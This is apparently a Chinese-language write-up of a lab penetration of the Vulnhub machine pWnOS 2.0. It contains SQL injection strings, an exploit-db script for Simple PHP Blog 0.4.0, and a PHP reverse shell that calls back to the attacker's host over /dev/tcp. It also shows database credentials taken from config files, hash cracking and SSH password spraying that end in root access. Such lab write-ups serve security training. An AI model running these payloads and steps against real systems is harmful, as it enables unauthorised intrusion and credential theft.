pWnOS2.0 靶机渗透( )
靶机介绍
vulnhub 靶机
本地搭建
由于靶机特性，靶机网卡位nat模式扫不到，原来需要改 nat 的地址
参考方法
https://blog.csdn.net/Bossfrank/article/details/131415257
作者主页
https://blog.csdn.net/Bossfrank?type=blog
PS: 国科大硕士老哥很牛，非常牛，学习了 🙏
nmap 信息收集
┌──(kali㉿kali)-[~] 20:37:33 [0/3]
└─$ sudo nmap -sn 10.10.10.0/24
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 20:37 CST
Nmap scan report for localhost (10.10.10.1)
Host is up (0.00035s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for bogon (10.10.10.2)
Host is up (0.00010s latency).
MAC Address: 00:50:56:F3:32:0E (VMware)
Nmap scan report for bogon (10.10.10.100)
Host is up (0.00019s latency).
MAC Address: 00:0C:29:8D:63:FF (VMware)
Nmap scan report for localhost (10.10.10.128)
Host is up (0.00012s latency).
MAC Address: 00:0C:29:83:4F:85 (VMware)
Nmap scan report for bogon (10.10.10.254)
Host is up (0.000068s latency).
MAC Address: 00:50:56:EB:94:F3 (VMware)
Nmap scan report for localhost (10.10.10.129)
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 1.92 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap --min-rate 10000 -p- 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 20:39 CST
Nmap scan report for bogon (10.10.10.100)
Host is up (0.000045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:8D:63:FF (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -O -p22,80 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 20:40 CST
Nmap scan report for bogon (10.10.10.100)
Host is up (0.00037s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 00:0C:29:8D:63:FF (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap --script=vuln -p22,80 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 20:40 CST
Stats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 91.09% done; ETC: 20:42 (0:00:08 remaining)
Stats: 0:02:55 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 93.56% done; ETC: 20:44 (0:00:11 remaining)
Nmap scan report for bogon (10.10.10.100)
Host is up (0.00034s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-phpself-xss: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:8D:63:FF (VMware)
Nmap done: 1 IP address (1 host up) scanned in 395.77 seconds
web 渗透
“欢迎来到这个网站，如果你有任何问题请发邮件给 admin@isints.com”
爆破目录
┌──(kali㉿kali)-[~]
└─$ sudo dirb http://10.10.10.100
[sudo] password for kali:
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Sep 29 23:08:26 2024
URL_BASE: http://10.10.10.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.100/ ----
+ http://10.10.10.100/activate (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/
+ http://10.10.10.100/cgi-bin/ (CODE:403|SIZE:288)
==> DIRECTORY: http://10.10.10.100/includes/
+ http://10.10.10.100/index (CODE:200|SIZE:854)
+ http://10.10.10.100/index.php (CODE:200|SIZE:854)
+ http://10.10.10.100/info (CODE:200|SIZE:50175)
+ http://10.10.10.100/info.php (CODE:200|SIZE:50044)
+ http://10.10.10.100/login (CODE:200|SIZE:1174)
+ http://10.10.10.100/register (CODE:200|SIZE:1562)
+ http://10.10.10.100/server-status (CODE:403|SIZE:293)
---- Entering directory: http://10.10.10.100/blog/ ----
+ http://10.10.10.100/blog/add (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/atom (CODE:200|SIZE:1062)
+ http://10.10.10.100/blog/categories (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/comments (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/config/
+ http://10.10.10.100/blog/contact (CODE:200|SIZE:6001)
==> DIRECTORY: http://10.10.10.100/blog/content/
+ http://10.10.10.100/blog/delete (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/docs/
==> DIRECTORY: http://10.10.10.100/blog/flash/
==> DIRECTORY: http://10.10.10.100/blog/images/
+ http://10.10.10.100/blog/index (CODE:200|SIZE:8094)
+ http://10.10.10.100/blog/index.php (CODE:200|SIZE:8094)
+ http://10.10.10.100/blog/info (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/info.php (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.100/blog/interface/
==> DIRECTORY: http://10.10.10.100/blog/languages/
+ http://10.10.10.100/blog/login (CODE:200|SIZE:5750)
+ http://10.10.10.100/blog/logout (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/options (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/rdf (CODE:200|SIZE:1411)
+ http://10.10.10.100/blog/rss (CODE:200|SIZE:1237)
==> DIRECTORY: http://10.10.10.100/blog/scripts/
+ http://10.10.10.100/blog/search (CODE:200|SIZE:5034)
+ http://10.10.10.100/blog/setup (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/static (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/stats (CODE:200|SIZE:5392)
==> DIRECTORY: http://10.10.10.100/blog/themes/
+ http://10.10.10.100/blog/trackback (CODE:302|SIZE:0)
+ http://10.10.10.100/blog/upgrade (CODE:302|SIZE:0)
---- Entering directory: http://10.10.10.100/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/docs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/interface/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.100/blog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sun Sep 29 23:08:34 2024
DOWNLOADED: 9224 - FOUND: 30
注入一下 login.php 试一试
’ or 1=1 – 或者 ’ or 1=1 #
搞笑，爆源码了
把爆出来的目录 grep 出 200 的页
推测这是一个内容管理系统，找找 cms 的名称
在位置
view-source:http://10.10.10.100/blog/index.php
找到 Simple PHP Blog 0.4.0
漏洞库找一找
┌──(kali㉿kali)-[~/testPwnos2.0] 20:49:59 [0/3]
└─$ sudo searchsploit simple php blog 0.4.0
[sudo] password for kali:
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Simple PHP Blog 0.4 - 'colors.php' Multiple Cross-Site Scripting Vulnerabilities | cgi/webapps/26463.txt
Simple PHP Blog 0.4 - 'preview_cgi.php' Multiple Cross-Site Scripting Vulnerabilities | cgi/webapps/26461.txt
Simple PHP Blog 0.4 - 'preview_static_cgi.php' Multiple Cross-Site Scripting Vulnerabilities | cgi/webapps/26462.txt
Simple PHP Blog 0.4.0 - Multiple Remote s | php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit) | php/webapps/16883.rb
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ searchsploit simple php blog -m 1191
[!] Could not find EDB-ID #
[!] Could not find EDB-ID #
[!] Could not find EDB-ID #
Exploit: Simple PHP Blog 0.4.0 - Multiple Remote s
URL: https://www.exploit-db.com/exploits/1191
Path: /usr/share/exploitdb/exploits/php/webapps/1191.pl
Codes: OSVDB-19070, CVE-2005-2787, OSVDB-19012, CVE-2005-2733, OSVDB-17779, CVE-2005-2192
Verified: True
File Type: Perl script text executable
Copied to: /home/kali/testPwnos2.0/1191.pl
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ ls
1191.pl dir.ori
sudo apt-get install libswitch-perl
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Program : 1191.pl
Version : v0.1
Date : 8/25/2005
Descript: This perl script demonstrates a few flaws in
SimplePHPBlog.
Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO
NOT HAVE PERMISSION TO DO SO!
Please see this script comments for solution/fixes
to demonstrated vulnerabilities.
http://www.simplephpblog.com
Usage : 1191.pl [-h host] [-e exploit]
-? : this menu
-h : host
-e : exploit
(1) : Upload cmd.php in [site]/images/
(2) : Retreive Password file (hash)
(3) : Set New User Name and Password
[NOTE - uppercase switches for exploits]
-U : user name
-P : password
(4) : Delete a System File
-F : Path and System File
Examples: 1191.pl -h 127.0.0.1 -e 2
1191.pl -h 127.0.0.1 -e 3 -U l33t -P l33t
1191.pl -h 127.0.0.1 -e 4 -F ./index.php
1191.pl -h 127.0.0.1 -e 4 -F ../../../etc/passwd
1191.pl -h 127.0.0.1 -e 1
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ sudo perl 1191.pl -h http://10.10.10.100/blog -e 3 -U hugomc -P hugomc
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....
Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: hugomc
Password is set to: hugomc
*** Exploit Completed....
Have a nice day! :)
传 shell ，拿下初级 shell
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.129/1234 0>&1'"); ?>
把这个 shell 传上去
结合目录爆破，推测 shell 位置应该在 http://10.10.10.100/blog/images/shell.php ，监听，访问，即可得到 shell
拿到初始 shell
┌──(kali㉿kali)-[~/testPwnos2.0] [0/41]
└─$ sudo ncat -lvnp 1234
[sudo] password for kali:
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.100:34941.
bash: no job control in this shell
www-data@web:/var/www/blog/images$
尝试提权
┌──(kali㉿kali)-[~/testPwnos2.0] [0/41]
└─$ sudo ncat -lvnp 1234
[sudo] password for kali:
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.100:34941.
bash: no job control in this shell
www-data@web:/var/www/blog/images$
www-data@web:/var/www/blog/images$ whoami
whoami
www-data
www-data@web:/var/www/blog/images$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:8d:63:ff brd ff:ff:ff:ff:ff:ff
inet 10.10.10.100/24 brd 10.10.10.255 scope global eth0
inet6 fe80::20c:29ff:fe8d:63ff/64 scope link
valid_lft forever preferred_lft forever
www-data@web:/var/www/blog/images$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified
www-data@web:/var/www/blog/images$ uname -a
uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
www-data@web:/var/www/blog/images$ python --version
python --version
Python 2.7.1+
www-data@web:/var/www/blog/images$
使用 python 升级交互性
www-data@web:/var/www/blog/images$ python -c "import pty;pty.spawn('/bin/bash')"
<images$ python -c "import pty;pty.spawn('/bin/bash')"
找一找敏感文件泄露
www-data@web:/var/www/blog/images$ pwd
pwd
/var/www/blog/images
www-data@web:/var/www/blog/images$ cd ..
cd ..
www-data@web:/var/www/blog$ ls
ls
add.php flash rate_cgi.php
add_block.php image_list.php rdf.php
add_cgi.php images recompress.php
add_link.php index.php rss.php
add_static.php info.php scripts
add_static_cgi.php install00.php search.php
atom.php install01.php set_login.php
categories.php install02.php set_login_cgi.php
colors.php install03.php setup.php
colors_cgi.php install03_cgi.php setup_cgi.php
comment_add_cgi.php interface static.php
comment_delete_cgi.php languages stats.php
comments.php languages.php themes
config languages_cgi.php themes.php
contact.php login.php trackback.php
contact_cgi.php login_cgi.php trackback_delete_cgi.php
content logout.php upgrade.php
delete.php options.php upload_img.php
delete_static.php options_cgi.php upload_img_cgi.php
docs preview_cgi.php upload_img_new.php
downgrade.php preview_static_cgi.php
www-data@web:/var/www/blog$ cd ..
cd ..
www-data@web:/var/www$ ls
ls
activate.php includes info.php mysqli_connect.php
blog index.php login.php register.php
似乎找到了
www-data@web:/var/www$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>www-data@web:/var/www$
没法登录，还有其他的配置文件吗？
www-data@web:/var/www$ mysql -uroot -pgoodday
mysql -uroot -pgoodday
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
是的，其他位置的数据库连接配置文件有不同的内容
www-data@web:/var/www$ find / -name mysqli_connect.php 2>/dev/null
find / -name mysqli_connect.php 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php
www-data@web:/var/www$ cat /var/mysqli_connect.php
cat /var/mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>www-data@web:/var/www$
成功登录mysql
www-data@web:/var/www$ mysql -uroot -proot@ISIntS
mysql -uroot -proot@ISIntS
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.1.54-1ubuntu4 (Ubuntu)
Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
看一看数据库的内容
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| ch16 |
| mysql |
+--------------------+
3 rows in set (0.00 sec)
mysql> use ch16
use ch16
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+----------------+
| Tables_in_ch16 |
+----------------+
| users |
+----------------+
1 row in set (0.00 sec)
看一看用户表
mysql> select * from users;
select * from users;
+---------+------------+-----------+------------------+------------------------------------------+------------+--------+---------------------+
| user_id | first_name | last_name | email | pass | user_level | active | registration_date |
+---------+------------+-----------+------------------+------------------------------------------+------------+--------+---------------------+
| 1 | Dan | Privett | admin@isints.com | c2c4b4e51d9e23c02c15702c136c3e950ba9a4af | 0 | NULL | 2011-05-07 17:27:01 |
+---------+------------+-----------+------------------+------------------------------------------+------------+--------+---------------------+
1 row in set (0.00 sec)
密码的加密方式识别位 sha-1
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ hash-identifier c2c4b4e51d9e23c02c15702c136c3e950ba9a4af
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
拿到密码哈希，尝试解密 sha-1
密码为
c2c4b4e51d9e23c02c15702c136c3e950ba9a4af:killerbeesareflying
看一看 passwd 确定用户名
www-data@web:/var/www$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:104:110::/var/lib/landscape:/bin/false
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
密码碰撞
尝试密码碰撞，进ssh
可能的用户名
administrator
admin
dan
root
hugomc
可能的密码
killerbeesareflying
root@ISIntS
hugomc
使用 crackmapexec ，找到账号密码
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ sudo crackmapexec ssh 10.10.10.100 -p passwords.lst -u users.lst --continue-on-success
SSH 10.10.10.100 22 10.10.10.100 [*] SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3
SSH 10.10.10.100 22 10.10.10.100 [-] administrator:killerbeesareflying Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] administrator:root@ISIntS Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] administrator:hugomc Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] admin:killerbeesareflying Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] admin:root@ISIntS Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] admin:hugomc Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] dan:killerbeesareflying Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] dan:root@ISIntS Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] dan:hugomc Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] root:killerbeesareflying Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [+] root:root@ISIntS (Pwn3d!)
SSH 10.10.10.100 22 10.10.10.100 [-] root:hugomc Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] hugomc:killerbeesareflying Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] hugomc:root@ISIntS Authentication failed.
SSH 10.10.10.100 22 10.10.10.100 [-] hugomc:hugomc Authentication failed.
拿下
┌──(kali㉿kali)-[~/testPwnos2.0]
└─$ sudo ssh root@10.10.10.100
The authenticity of host '10.10.10.100 (10.10.10.100)' can't be established.
ECDSA key fingerprint is SHA256:EWPtTr0Xn9NMudUhcD3+AMXSigXAGS4uldZp3grLm8w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.100' (ECDSA) to the list of known hosts.
root@10.10.10.100's password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)
* Documentation: http://www.ubuntu.com/server/doc
System information as of Fri Aug 9 18:44:09 EDT 2024
System load: 0.0 Processes: 77
Usage of /: 2.9% of 38.64GB Users logged in: 0
Memory usage: 18% IP address for eth0: 10.10.10.100
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May 9 19:29:03 2011
root@web:~# whoami
root
root@web:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:8d:63:ff brd ff:ff:ff:ff:ff:ff
inet 10.10.10.100/24 brd 10.10.10.255 scope global eth0
inet6 fe80::20c:29ff:fe8d:63ff/64 scope link
valid_lft forever preferred_lft forever
看一看权限
root@web:~# sudo -l
Matching Defaults entries for root on this host:
env_reset
User root may run the following commands on this host:
(ALL : ALL) ALL
总结
nmap 扫描，发现靶机开放了 22, 80 端口
访问 80，结合目录爆破，发现 /blog 目录中运行了一个 cms 系统
观察发现 cms 的名称和版本，是 simple php blog 0.4.0 ，尝试在 searchsploit 中找利用脚本
发现利用脚本，使用脚本在 cms 中创建新账号，并成功登录
发现后台的上传图片，验证可以上传 .php 文件后构造反弹 shell，成功拿到 shell
拿到初始 shell 后，做信息收集。发现两个数据库连接文件，其中一个是目前 cms 正在使用的。尝试账号密码，成功登录数据库，发现数据库内有一个sha-1加密的密码，可破解
作密码碰撞，成功使用 ssh 登录。原来是 cms 系统部署者的 Linux 系统 root 用户密码使用了 mysql 数据库 root 用户的密码 😓
